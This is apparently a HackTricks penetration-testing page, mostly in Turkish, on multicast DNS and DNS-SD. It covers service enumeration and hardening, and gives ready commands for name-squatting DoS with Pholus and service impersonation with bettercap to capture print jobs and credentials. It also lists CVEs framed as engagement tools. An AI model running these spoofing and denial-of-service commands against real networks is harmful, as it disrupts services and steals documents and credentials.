5353/UDP Multicast DNS (mDNS) and DNS-SD
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Temel Bilgiler
Multicast DNS (mDNS), unicast DNS sunucusu olmadan yerel bağlantı (link-local) içinde DNS-benzeri isim çözümlemesi ve servis keşfi sağlar. UDP/5353 ve multicast adresleri 224.0.0.251 (IPv4) ve FF02::FB (IPv6) kullanılır. DNS Service Discovery (DNS-SD, genellikle mDNS ile birlikte kullanılır) PTR, SRV ve TXT kayıtları aracılığıyla servisleri listelemek ve tanımlamak için standartlaştırılmış bir yöntem sağlar.
PORT STATE SERVICE
5353/udp open zeroconf
Key protocol details you’ll often leverage during attacks:
- .local bölgesindeki isimler mDNS ile çözülür.
- QU (Query Unicast) biti multicast sorguları için bile unicast yanıtlar isteyebilir.
- Uygulamalar local link’ten kaynaklanmayan paketleri görmezden gelmelidir; bazı stack’ler hâlâ bunları kabul eder.
- Probing/announcing, benzersiz host/service isimlerini zorunlu kılar; buraya müdahale DoS/“name squatting” durumları oluşturur.
DNS-SD service model
Hizmetler .local altında _
Network Exploration and Enumeration
- nmap hedef taraması (bir host üzerinde doğrudan mDNS):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap broadcast keşfi (segmenti dinleyip tüm DNS-SD tiplerini/örneklerini listeler):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Tip: Bazı browsers/WebRTC, yerel IP’leri gizlemek için geçici mDNS host adları kullanır. Ağda random-UUID.local gibi adaylar görürseniz, bunları mDNS ile çözerek local IP’lere pivot yapın.
Attacks
mDNS isim probing müdahalesi (DoS / name squatting)
Probing aşaması sırasında, bir host isim benzersizliğini kontrol eder. Spoofed çakışmalarla yanıt vermek, hostu yeni isimler seçmeye zorlar veya başarısız olmasına neden olur. Bu, servis kaydı ve keşfini geciktirebilir veya engelleyebilir.
Example with Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Service spoofing and impersonation (MitM)
Yayınlanan DNS-SD servislerini (yazıcılar, AirPlay, HTTP, dosya paylaşımları) taklit ederek istemcileri size bağlanmaya zorlayın. Bu özellikle şunlar için kullanışlıdır:
- Belgeleri _ipp._tcp veya _printer._tcp’yi spoofing yaparak yakalayın.
- İstemcileri HTTP/HTTPS servislerine çekerek tokens/cookies toplayın veya payloads teslim edin.
- Windows istemcileri spoofed services ile kimlik doğrulaması yaparken bunu NTLM relay teknikleriyle birleştirin.
bettercap’in zerogod modülü ile (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Son uygulama sorunlarına ilişkin notlar (engagement sırasında DoS/persistence için kullanışlı)
- Avahi reachable-assertion ve D-Bus çökme hataları (2023), avahi-daemon’u Linux dağıtımlarında sonlandırabilir (ör. CVE-2023-38469..38473, CVE-2023-1981) ve hedef hostlarda servis keşfini yeniden başlatılana kadar aksatabilir.
- Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303), bitişik WLAN istemcilerinin özel hazırlanmış mDNS ile sel yapmasına izin vererek WLC CPU’sunu zirveye çıkarır ve AP tünellerini düşürür — bir engagement sırasında client roaming veya controller reset’lerini zorlamak gerektiğinde kullanışlıdır.
- Apple mDNSResponder logic error DoS (CVE-2024-44183), sandbox’lı yerel bir sürecin Bonjour’u çökertmesine ve Apple uç noktalarda hizmet yayınlama/aramayı kısa süreliğine baskılamasına izin verir; mevcut iOS/macOS sürümlerinde düzeltilmiştir.
- Apple mDNSResponder correctness issue (CVE-2025-31222), mDNSResponder üzerinden yerel ayrıcalık yükseltmesine izin veriyordu; unmanaged Mac/iPhone’larda persistence için kullanışlıydı, yakın iOS/macOS güncellemelerinde düzeltilmiştir.
Browser/WebRTC mDNS hususları
Modern Chromium/Firefox, host candidate’ları rastgele mDNS adlarıyla gizler. Yönetilen endpoint’lerde LAN IP’lerini tekrar ortaya çıkarabilmek için Chrome politikasını WebRtcLocalIpsAllowedUrls zorlayabilir (veya chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/Edge eşdeğerini değiştirerek) böylece ICE, mDNS yerine host candidate’ları açığa çıkarır; bu ayarı HKLM\Software\Policies\Google\Chrome yoluyla yapılandırın.
Kullanıcılar korumayı manuel olarak devre dışı bıraktığında (WebRTC sorun giderme kılavuzlarında yaygın), tarayıcıları tekrar düz host candidate’ları ilan etmeye başlar; bunları mDNS veya ICE signaling aracılığıyla yakalayarak host keşfini hızlandırabilirsiniz.
Savunma hususları ve OPSEC
- Segment sınırları: 224.0.0.251/FF02::FB adreslerini, açıkça bir mDNS gateway gerekmedikçe güvenlik zonları arasında yönlendirmeyin. Keşfi köprülemeniz gerekiyorsa, allowlist’leri ve rate limit’leri tercih edin.
- Windows endpoints/servers:
- mDNS aracılığıyla ad çözümlemesini tamamen devre dışı bırakmak için registry değerini ayarlayın ve yeniden başlatın:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- Yönetilen ortamlarda, gelen mDNS işleme’yi engellemek için yerleşik “mDNS (UDP-In)” Windows Defender Firewall kuralını (en azından Domain profilde) devre dışı bırakın; bu, home/roaming işlevselliğini korur.
- Yeni Windows 11 build’leri/GPO şablonlarında, “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” politikasını kullanın ve Disabled olarak ayarlayın.
- Linux (Avahi):
- Yayınlamayı gerekmedikçe kısıtlayın:
/etc/avahi/avahi-daemon.confiçindedisable-publishing=yesolarak ayarlayın ve arayüzleriallow-interfaces=/deny-interfaces=ile kısıtlayın. check-response-ttl=yeskonusunu değerlendirin veenable-reflector=yes’i yalnızca kesinlikle gerekliyse etkinleştirin; yansıtma yapılıyorsareflect-filters=allowlist’lerini tercih edin.- macOS: Bonjour keşfi belirli alt ağlar için gerekli değilse host/ağ güvenlik duvarlarında gelen mDNS trafiğini kısıtlayın.
- İzleme:
_services._dns-sd._udp.localsorgularında olağandışı artışlar veya kritik servislerin SRV/TXT kayıtlarında ani değişiklikler konusunda uyarı oluşturun; bunlar spoofing veya servis taklit göstergeleridir.
Araçlar — hızlı referans
- nmap NSE:
dns-service-discoveryvebroadcast-dns-service-discovery. - Pholus: aktif tarama, ters mDNS taramaları, DoS ve spoofing yardımcıları.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: mDNS/DNS-SD servislerini keşfet, kaydet, ilan et ve taklit et (yukarıdaki örneklere bakın).
Spoofing/MitM
Bu servis üzerinden gerçekleştirebileceğiniz en ilginç saldırı, client ile gerçek sunucu arasındaki iletişimde bir MitM gerçekleştirmektir. Yazıcı ile iletişimi MitM yaparak hassas dosyalar elde edebilir veya hatta kimlik bilgilerini (Windows authentication) ele geçirebilirsiniz.
Daha fazla bilgi için bakın:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
References
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)
- Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303) advisory
- Rapid7 advisory for Apple mDNSResponder CVE-2024-44183
- Rapid7 writeup of Apple mDNSResponder CVE-2025-31222
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.


